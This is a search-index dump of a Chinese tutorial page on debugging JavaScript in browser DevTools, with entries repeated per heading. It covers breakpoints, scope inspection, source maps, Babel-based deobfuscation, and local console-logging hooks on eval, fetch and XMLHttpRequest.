调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 debugger 语句 // 在代码中直接插入 function suspiciousFunction(data) { debugger; // 强制暂停 // ... 后续代码 } 通过 Hook 注入: // 在控制台执行 const original = window.someFunction; window.someFunction = function (...args) { debugger; // 在调用前暂停 return original.apply(this, args); }; 2. 使用条件断点 在 DevTools 中右键断点 → Edit breakpoint: // 只有当条件满足时才暂停 userId === 12345; // 或使用表达式 console.log(\"Value:\", someVar) || false; 3. DOM 断点 // 监听 DOM 修改 const element = document.querySelector(\"#target\"); // Break on: subtree modifications, attribute modifications, node removal 4. Event Listener 断点 // DevTools → Sources → Event Listener Breakpoints // 勾选相关事件 (如 click, xhr, timeout) // 或者代码中监听 monitorEvents(document.body, \"click\"); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:3","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-使用-debugger-语句"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 debugger 语句 // 在代码中直接插入 function suspiciousFunction(data) { debugger; // 强制暂停 // ... 后续代码 } 通过 Hook 注入: // 在控制台执行 const original = window.someFunction; window.someFunction = function (...args) { debugger; // 在调用前暂停 return original.apply(this, args); }; 2. 使用条件断点 在 DevTools 中右键断点 → Edit breakpoint: // 只有当条件满足时才暂停 userId === 12345; // 或使用表达式 console.log(\"Value:\", someVar) || false; 3. DOM 断点 // 监听 DOM 修改 const element = document.querySelector(\"#target\"); // Break on: subtree modifications, attribute modifications, node removal 4. Event Listener 断点 // DevTools → Sources → Event Listener Breakpoints // 勾选相关事件 (如 click, xhr, timeout) // 或者代码中监听 monitorEvents(document.body, \"click\"); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:3","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-使用条件断点"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 debugger 语句 // 在代码中直接插入 function suspiciousFunction(data) { debugger; // 强制暂停 // ... 后续代码 } 通过 Hook 注入: // 在控制台执行 const original = window.someFunction; window.someFunction = function (...args) { debugger; // 在调用前暂停 return original.apply(this, args); }; 2. 使用条件断点 在 DevTools 中右键断点 → Edit breakpoint: // 只有当条件满足时才暂停 userId === 12345; // 或使用表达式 console.log(\"Value:\", someVar) || false; 3. DOM 断点 // 监听 DOM 修改 const element = document.querySelector(\"#target\"); // Break on: subtree modifications, attribute modifications, node removal 4. Event Listener 断点 // DevTools → Sources → Event Listener Breakpoints // 勾选相关事件 (如 click, xhr, timeout) // 或者代码中监听 monitorEvents(document.body, \"click\"); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:3","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-dom-断点"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 debugger 语句 // 在代码中直接插入 function suspiciousFunction(data) { debugger; // 强制暂停 // ... 后续代码 } 通过 Hook 注入: // 在控制台执行 const original = window.someFunction; window.someFunction = function (...args) { debugger; // 在调用前暂停 return original.apply(this, args); }; 2. 使用条件断点 在 DevTools 中右键断点 → Edit breakpoint: // 只有当条件满足时才暂停 userId === 12345; // 或使用表达式 console.log(\"Value:\", someVar) || false; 3. DOM 断点 // 监听 DOM 修改 const element = document.querySelector(\"#target\"); // Break on: subtree modifications, attribute modifications, node removal 4. Event Listener 断点 // DevTools → Sources → Event Listener Breakpoints // 勾选相关事件 (如 click, xhr, timeout) // 或者代码中监听 monitorEvents(document.body, \"click\"); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:1:3","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#4-event-listener-断点"},{"categories":null,"collections":null,"content":"无法查看变量值 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#无法查看变量值"},{"categories":null,"collections":null,"content":"问题表现 变量显示 undefined 或 \u003cunavailable\u003e Scope 中看不到变量 闭包变量无法访问 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-1"},{"categories":null,"collections":null,"content":"解决方案 1. 检查作用域 // 在 Console 中，使用正确的作用域 // 如果在函数内部断点: // ❌ 错误 - 全局作用域 console.log(localVar); // undefined // ✅ 正确 - 当前作用域可见 // 直接在 Scope 面板查看，或在 Console 输入变量名 2. 使用 Watch 表达式 // Sources → Watch → Add expression // 添加复杂表达式 this.userData.profile.name; JSON.stringify(config, null, 2); Object.keys(this); 3. 使用 console.dir 查看对象 // 查看对象完整结构 console.dir(complexObject); // 查看原型链 console.log(Object.getPrototypeOf(obj)); // 查看所有属性 console.log(Object.getOwnPropertyNames(obj)); 4. 临时修改代码 // 使用 Overrides 功能 // DevTools → Sources → Overrides → Enable Local Overrides // 在代码中添加日志 function encrypt(data) { console.log(\"encrypt input:\", data); // 添加这行 const result = doEncrypt(data); console.log(\"encrypt output:\", result); // 添加这行 return result; } ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-1"},{"categories":null,"collections":null,"content":"解决方案 1. 检查作用域 // 在 Console 中，使用正确的作用域 // 如果在函数内部断点: // ❌ 错误 - 全局作用域 console.log(localVar); // undefined // ✅ 正确 - 当前作用域可见 // 直接在 Scope 面板查看，或在 Console 输入变量名 2. 使用 Watch 表达式 // Sources → Watch → Add expression // 添加复杂表达式 this.userData.profile.name; JSON.stringify(config, null, 2); Object.keys(this); 3. 使用 console.dir 查看对象 // 查看对象完整结构 console.dir(complexObject); // 查看原型链 console.log(Object.getPrototypeOf(obj)); // 查看所有属性 console.log(Object.getOwnPropertyNames(obj)); 4. 临时修改代码 // 使用 Overrides 功能 // DevTools → Sources → Overrides → Enable Local Overrides // 在代码中添加日志 function encrypt(data) { console.log(\"encrypt input:\", data); // 添加这行 const result = doEncrypt(data); console.log(\"encrypt output:\", result); // 添加这行 return result; } ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-检查作用域"},{"categories":null,"collections":null,"content":"解决方案 1. 检查作用域 // 在 Console 中，使用正确的作用域 // 如果在函数内部断点: // ❌ 错误 - 全局作用域 console.log(localVar); // undefined // ✅ 正确 - 当前作用域可见 // 直接在 Scope 面板查看，或在 Console 输入变量名 2. 使用 Watch 表达式 // Sources → Watch → Add expression // 添加复杂表达式 this.userData.profile.name; JSON.stringify(config, null, 2); Object.keys(this); 3. 使用 console.dir 查看对象 // 查看对象完整结构 console.dir(complexObject); // 查看原型链 console.log(Object.getPrototypeOf(obj)); // 查看所有属性 console.log(Object.getOwnPropertyNames(obj)); 4. 临时修改代码 // 使用 Overrides 功能 // DevTools → Sources → Overrides → Enable Local Overrides // 在代码中添加日志 function encrypt(data) { console.log(\"encrypt input:\", data); // 添加这行 const result = doEncrypt(data); console.log(\"encrypt output:\", result); // 添加这行 return result; } ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-使用-watch-表达式"},{"categories":null,"collections":null,"content":"解决方案 1. 检查作用域 // 在 Console 中，使用正确的作用域 // 如果在函数内部断点: // ❌ 错误 - 全局作用域 console.log(localVar); // undefined // ✅ 正确 - 当前作用域可见 // 直接在 Scope 面板查看，或在 Console 输入变量名 2. 使用 Watch 表达式 // Sources → Watch → Add expression // 添加复杂表达式 this.userData.profile.name; JSON.stringify(config, null, 2); Object.keys(this); 3. 使用 console.dir 查看对象 // 查看对象完整结构 console.dir(complexObject); // 查看原型链 console.log(Object.getPrototypeOf(obj)); // 查看所有属性 console.log(Object.getOwnPropertyNames(obj)); 4. 临时修改代码 // 使用 Overrides 功能 // DevTools → Sources → Overrides → Enable Local Overrides // 在代码中添加日志 function encrypt(data) { console.log(\"encrypt input:\", data); // 添加这行 const result = doEncrypt(data); console.log(\"encrypt output:\", result); // 添加这行 return result; } ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-使用-consoledir-查看对象"},{"categories":null,"collections":null,"content":"解决方案 1. 检查作用域 // 在 Console 中，使用正确的作用域 // 如果在函数内部断点: // ❌ 错误 - 全局作用域 console.log(localVar); // undefined // ✅ 正确 - 当前作用域可见 // 直接在 Scope 面板查看，或在 Console 输入变量名 2. 使用 Watch 表达式 // Sources → Watch → Add expression // 添加复杂表达式 this.userData.profile.name; JSON.stringify(config, null, 2); Object.keys(this); 3. 使用 console.dir 查看对象 // 查看对象完整结构 console.dir(complexObject); // 查看原型链 console.log(Object.getPrototypeOf(obj)); // 查看所有属性 console.log(Object.getOwnPropertyNames(obj)); 4. 临时修改代码 // 使用 Overrides 功能 // DevTools → Sources → Overrides → Enable Local Overrides // 在代码中添加日志 function encrypt(data) { console.log(\"encrypt input:\", data); // 添加这行 const result = doEncrypt(data); console.log(\"encrypt output:\", result); // 添加这行 return result; } ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:2:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#4-临时修改代码"},{"categories":null,"collections":null,"content":"Source Map 问题 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:3:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#source-map-问题"},{"categories":null,"collections":null,"content":"问题表现 代码显示混淆后的版本 无法看到原始代码 Source Map 加载失败 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:3:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-2"},{"categories":null,"collections":null,"content":"解决方案 1. 手动加载 Source Map // 如果有 .map 文件 //# sourceMappingURL=app.js.map // 在 DevTools → Sources 右键文件 → \"Add source map\" // 输入 Source Map URL 2. 使用在线工具 # 使用 source-map-cli 还原 npm install -g source-map-cli # 查看原始位置 source-map resolve app.js.map 1 100 3. 格式化代码 // DevTools → Sources → 点击 {} 按钮 (Pretty print) // 或快捷键: Ctrl + Shift + P → \"Pretty print\" ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:3:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-2"},{"categories":null,"collections":null,"content":"解决方案 1. 手动加载 Source Map // 如果有 .map 文件 //# sourceMappingURL=app.js.map // 在 DevTools → Sources 右键文件 → \"Add source map\" // 输入 Source Map URL 2. 使用在线工具 # 使用 source-map-cli 还原 npm install -g source-map-cli # 查看原始位置 source-map resolve app.js.map 1 100 3. 格式化代码 // DevTools → Sources → 点击 {} 按钮 (Pretty print) // 或快捷键: Ctrl + Shift + P → \"Pretty print\" ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:3:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-手动加载-source-map"},{"categories":null,"collections":null,"content":"解决方案 1. 手动加载 Source Map // 如果有 .map 文件 //# sourceMappingURL=app.js.map // 在 DevTools → Sources 右键文件 → \"Add source map\" // 输入 Source Map URL 2. 使用在线工具 # 使用 source-map-cli 还原 npm install -g source-map-cli # 查看原始位置 source-map resolve app.js.map 1 100 3. 格式化代码 // DevTools → Sources → 点击 {} 按钮 (Pretty print) // 或快捷键: Ctrl + Shift + P → \"Pretty print\" ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:3:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-使用在线工具"},{"categories":null,"collections":null,"content":"解决方案 1. 手动加载 Source Map // 如果有 .map 文件 //# sourceMappingURL=app.js.map // 在 DevTools → Sources 右键文件 → \"Add source map\" // 输入 Source Map URL 2. 使用在线工具 # 使用 source-map-cli 还原 npm install -g source-map-cli # 查看原始位置 source-map resolve app.js.map 1 100 3. 格式化代码 // DevTools → Sources → 点击 {} 按钮 (Pretty print) // 或快捷键: Ctrl + Shift + P → \"Pretty print\" ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:3:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-格式化代码"},{"categories":null,"collections":null,"content":"混淆代码调试 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#混淆代码调试"},{"categories":null,"collections":null,"content":"问题表现 变量名如 _0x1a2b, a, b 代码逻辑难以理解 大量无意义代码 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-3"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 AST 工具还原 // 使用 Babel 还原 const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generate = require(\"@babel/generator\").default; const code = `/* 混淆后的代码 */`; const ast = parser.parse(code); // 还原变量名 traverse(ast, { Identifier(path) { if (path.node.name.startsWith(\"_0x\")) { path.node.name = \"var_\" + Math.random().toString(36).substr(2, 9); } }, }); const output = generate(ast, {}, code); console.log(output.code); 2. 在线反混淆工具 https://deobfuscate.io/ https://lelinhtinh.github.io/de4js/ 3. 动态调试追踪 // Hook 所有函数调用 const originalFunction = window._0x1a2b; window._0x1a2b = function (...args) { console.log(\"Called with:\", args); const result = originalFunction.apply(this, args); console.log(\"Returned:\", result); return result; }; 4. 使用反混淆脚本 // Tampermonkey 脚本 // 在页面加载前注入 (function () { \"use strict\"; // Hook eval const originalEval = window.eval; window.eval = function (code) { console.log(\"eval code:\", code); return originalEval.call(this, code); }; // Hook Function 构造器 const OriginalFunction = window.Function; window.Function = function (...args) { console.log(\"Function args:\", args); return OriginalFunction.apply(this, args); }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-3"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 AST 工具还原 // 使用 Babel 还原 const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generate = require(\"@babel/generator\").default; const code = `/* 混淆后的代码 */`; const ast = parser.parse(code); // 还原变量名 traverse(ast, { Identifier(path) { if (path.node.name.startsWith(\"_0x\")) { path.node.name = \"var_\" + Math.random().toString(36).substr(2, 9); } }, }); const output = generate(ast, {}, code); console.log(output.code); 2. 在线反混淆工具 https://deobfuscate.io/ https://lelinhtinh.github.io/de4js/ 3. 动态调试追踪 // Hook 所有函数调用 const originalFunction = window._0x1a2b; window._0x1a2b = function (...args) { console.log(\"Called with:\", args); const result = originalFunction.apply(this, args); console.log(\"Returned:\", result); return result; }; 4. 使用反混淆脚本 // Tampermonkey 脚本 // 在页面加载前注入 (function () { \"use strict\"; // Hook eval const originalEval = window.eval; window.eval = function (code) { console.log(\"eval code:\", code); return originalEval.call(this, code); }; // Hook Function 构造器 const OriginalFunction = window.Function; window.Function = function (...args) { console.log(\"Function args:\", args); return OriginalFunction.apply(this, args); }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-使用-ast-工具还原"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 AST 工具还原 // 使用 Babel 还原 const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generate = require(\"@babel/generator\").default; const code = `/* 混淆后的代码 */`; const ast = parser.parse(code); // 还原变量名 traverse(ast, { Identifier(path) { if (path.node.name.startsWith(\"_0x\")) { path.node.name = \"var_\" + Math.random().toString(36).substr(2, 9); } }, }); const output = generate(ast, {}, code); console.log(output.code); 2. 在线反混淆工具 https://deobfuscate.io/ https://lelinhtinh.github.io/de4js/ 3. 动态调试追踪 // Hook 所有函数调用 const originalFunction = window._0x1a2b; window._0x1a2b = function (...args) { console.log(\"Called with:\", args); const result = originalFunction.apply(this, args); console.log(\"Returned:\", result); return result; }; 4. 使用反混淆脚本 // Tampermonkey 脚本 // 在页面加载前注入 (function () { \"use strict\"; // Hook eval const originalEval = window.eval; window.eval = function (code) { console.log(\"eval code:\", code); return originalEval.call(this, code); }; // Hook Function 构造器 const OriginalFunction = window.Function; window.Function = function (...args) { console.log(\"Function args:\", args); return OriginalFunction.apply(this, args); }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-在线反混淆工具"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 AST 工具还原 // 使用 Babel 还原 const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generate = require(\"@babel/generator\").default; const code = `/* 混淆后的代码 */`; const ast = parser.parse(code); // 还原变量名 traverse(ast, { Identifier(path) { if (path.node.name.startsWith(\"_0x\")) { path.node.name = \"var_\" + Math.random().toString(36).substr(2, 9); } }, }); const output = generate(ast, {}, code); console.log(output.code); 2. 在线反混淆工具 https://deobfuscate.io/ https://lelinhtinh.github.io/de4js/ 3. 动态调试追踪 // Hook 所有函数调用 const originalFunction = window._0x1a2b; window._0x1a2b = function (...args) { console.log(\"Called with:\", args); const result = originalFunction.apply(this, args); console.log(\"Returned:\", result); return result; }; 4. 使用反混淆脚本 // Tampermonkey 脚本 // 在页面加载前注入 (function () { \"use strict\"; // Hook eval const originalEval = window.eval; window.eval = function (code) { console.log(\"eval code:\", code); return originalEval.call(this, code); }; // Hook Function 构造器 const OriginalFunction = window.Function; window.Function = function (...args) { console.log(\"Function args:\", args); return OriginalFunction.apply(this, args); }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-动态调试追踪"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 AST 工具还原 // 使用 Babel 还原 const parser = require(\"@babel/parser\"); const traverse = require(\"@babel/traverse\").default; const generate = require(\"@babel/generator\").default; const code = `/* 混淆后的代码 */`; const ast = parser.parse(code); // 还原变量名 traverse(ast, { Identifier(path) { if (path.node.name.startsWith(\"_0x\")) { path.node.name = \"var_\" + Math.random().toString(36).substr(2, 9); } }, }); const output = generate(ast, {}, code); console.log(output.code); 2. 在线反混淆工具 https://deobfuscate.io/ https://lelinhtinh.github.io/de4js/ 3. 动态调试追踪 // Hook 所有函数调用 const originalFunction = window._0x1a2b; window._0x1a2b = function (...args) { console.log(\"Called with:\", args); const result = originalFunction.apply(this, args); console.log(\"Returned:\", result); return result; }; 4. 使用反混淆脚本 // Tampermonkey 脚本 // 在页面加载前注入 (function () { \"use strict\"; // Hook eval const originalEval = window.eval; window.eval = function (code) { console.log(\"eval code:\", code); return originalEval.call(this, code); }; // Hook Function 构造器 const OriginalFunction = window.Function; window.Function = function (...args) { console.log(\"Function args:\", args); return OriginalFunction.apply(this, args); }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:4:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#4-使用反混淆脚本"},{"categories":null,"collections":null,"content":"异步代码跟踪 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:5:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#异步代码跟踪"},{"categories":null,"collections":null,"content":"问题表现 Promise/async 代码难以调试 回调地狱 执行顺序混乱 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:5:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-4"},{"categories":null,"collections":null,"content":"解决方案 1. Async Stack Traces // Chrome DevTools 默认启用 // Settings → Enable async stack traces // 现在可以看到完整的异步调用栈 async function fetchData() { debugger; // 可以看到异步调用链 const data = await fetch(\"/api/data\"); return data.json(); } 2. 使用 console.trace async function complexAsync() { console.trace(\"Start\"); // 显示调用栈 await step1(); console.trace(\"After step1\"); await step2(); console.trace(\"After step2\"); } 3. 添加异步日志 // 包装 fetch const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch started:\", args[0]); try { const response = await originalFetch.apply(this, args); console.log(\"Fetch completed:\", response.status); return response; } catch (error) { console.error(\"Fetch failed:\", error); throw error; } }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:5:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-4"},{"categories":null,"collections":null,"content":"解决方案 1. Async Stack Traces // Chrome DevTools 默认启用 // Settings → Enable async stack traces // 现在可以看到完整的异步调用栈 async function fetchData() { debugger; // 可以看到异步调用链 const data = await fetch(\"/api/data\"); return data.json(); } 2. 使用 console.trace async function complexAsync() { console.trace(\"Start\"); // 显示调用栈 await step1(); console.trace(\"After step1\"); await step2(); console.trace(\"After step2\"); } 3. 添加异步日志 // 包装 fetch const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch started:\", args[0]); try { const response = await originalFetch.apply(this, args); console.log(\"Fetch completed:\", response.status); return response; } catch (error) { console.error(\"Fetch failed:\", error); throw error; } }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:5:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-async-stack-traces"},{"categories":null,"collections":null,"content":"解决方案 1. Async Stack Traces // Chrome DevTools 默认启用 // Settings → Enable async stack traces // 现在可以看到完整的异步调用栈 async function fetchData() { debugger; // 可以看到异步调用链 const data = await fetch(\"/api/data\"); return data.json(); } 2. 使用 console.trace async function complexAsync() { console.trace(\"Start\"); // 显示调用栈 await step1(); console.trace(\"After step1\"); await step2(); console.trace(\"After step2\"); } 3. 添加异步日志 // 包装 fetch const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch started:\", args[0]); try { const response = await originalFetch.apply(this, args); console.log(\"Fetch completed:\", response.status); return response; } catch (error) { console.error(\"Fetch failed:\", error); throw error; } }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:5:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-使用-consoletrace"},{"categories":null,"collections":null,"content":"解决方案 1. Async Stack Traces // Chrome DevTools 默认启用 // Settings → Enable async stack traces // 现在可以看到完整的异步调用栈 async function fetchData() { debugger; // 可以看到异步调用链 const data = await fetch(\"/api/data\"); return data.json(); } 2. 使用 console.trace async function complexAsync() { console.trace(\"Start\"); // 显示调用栈 await step1(); console.trace(\"After step1\"); await step2(); console.trace(\"After step2\"); } 3. 添加异步日志 // 包装 fetch const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch started:\", args[0]); try { const response = await originalFetch.apply(this, args); console.log(\"Fetch completed:\", response.status); return response; } catch (error) { console.error(\"Fetch failed:\", error); throw error; } }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:5:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-添加异步日志"},{"categories":null,"collections":null,"content":"XHR/Fetch 请求拦截 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:6:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#xhrfetch-请求拦截"},{"categories":null,"collections":null,"content":"问题表现 无法捕获 AJAX 请求 需要查看请求参数 需要修改请求 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:6:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-5"},{"categories":null,"collections":null,"content":"解决方案 1. XHR 断点 // DevTools → Sources → XHR/fetch Breakpoints // 添加 URL 包含的关键字，如 \"/api/\" 2. Hook XMLHttpRequest (function () { const XHR = XMLHttpRequest.prototype; const open = XHR.open; const send = XHR.send; XHR.open = function (method, url) { this._method = method; this._url = url; return open.apply(this, arguments); }; XHR.send = function (data) { console.log(\"XHR Request:\", { method: this._method, url: this._url, data: data, }); this.addEventListener(\"load\", function () { console.log(\"XHR Response:\", { status: this.status, response: this.responseText, }); }); return send.apply(this, arguments); }; })(); 3. Hook Fetch (function () { const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch Request:\", args); const response = await originalFetch.apply(this, args); // Clone 响应以避免消费 const clonedResponse = response.clone(); const text = await clonedResponse.text(); console.log(\"Fetch Response:\", { status: response.status, body: text, }); return response; }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:6:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-5"},{"categories":null,"collections":null,"content":"解决方案 1. XHR 断点 // DevTools → Sources → XHR/fetch Breakpoints // 添加 URL 包含的关键字，如 \"/api/\" 2. Hook XMLHttpRequest (function () { const XHR = XMLHttpRequest.prototype; const open = XHR.open; const send = XHR.send; XHR.open = function (method, url) { this._method = method; this._url = url; return open.apply(this, arguments); }; XHR.send = function (data) { console.log(\"XHR Request:\", { method: this._method, url: this._url, data: data, }); this.addEventListener(\"load\", function () { console.log(\"XHR Response:\", { status: this.status, response: this.responseText, }); }); return send.apply(this, arguments); }; })(); 3. Hook Fetch (function () { const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch Request:\", args); const response = await originalFetch.apply(this, args); // Clone 响应以避免消费 const clonedResponse = response.clone(); const text = await clonedResponse.text(); console.log(\"Fetch Response:\", { status: response.status, body: text, }); return response; }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:6:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-xhr-断点"},{"categories":null,"collections":null,"content":"解决方案 1. XHR 断点 // DevTools → Sources → XHR/fetch Breakpoints // 添加 URL 包含的关键字，如 \"/api/\" 2. Hook XMLHttpRequest (function () { const XHR = XMLHttpRequest.prototype; const open = XHR.open; const send = XHR.send; XHR.open = function (method, url) { this._method = method; 